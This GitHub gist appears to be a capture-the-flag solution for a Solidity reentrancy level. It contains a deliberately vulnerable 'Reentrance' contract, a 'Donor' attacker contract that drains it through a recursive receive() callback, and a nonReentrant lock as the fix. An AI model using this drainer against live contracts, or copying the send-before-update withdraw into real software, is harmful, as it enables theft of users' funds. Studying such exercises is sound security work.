Skip to content

Instantly share code, notes, and snippets.

@sarvagnakadiya
Created June 24, 2025 11:03
Show Gist options
  • Save sarvagnakadiya/b31d89ea5493cd3a4f304a4bb33ef315 to your computer and use it in GitHub Desktop.
Save sarvagnakadiya/b31d89ea5493cd3a4f304a4bb33ef315 to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
import "openzeppelin-contracts-06/math/SafeMath.sol";
contract Reentrance {
using SafeMath for uint256;
mapping(address => uint256) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}
function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}
function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
receive() external payable {}
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.12;
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint256);
function withdraw(uint256 _amount) external;
}
contract Donor {
IReentrance public reentranceContract;
constructor(address _reentranceAddr) {
reentranceContract = IReentrance(_reentranceAddr);
}
function donateToReentrance(address _to) external payable {
require(msg.value > 0, "Send some ether");
reentranceContract.donate{value: msg.value}(_to);
}
function withdraw2(uint256 _value)public {
reentranceContract.withdraw(_value);
}
receive() external payable {
if(address(reentranceContract).balance > 0) {
reentranceContract.withdraw(msg.value);
}
}
}
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool private locked;
modifier nonReentrant() {
require(!locked, "No re-entrancy");
locked = true;
_;
locked = false;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment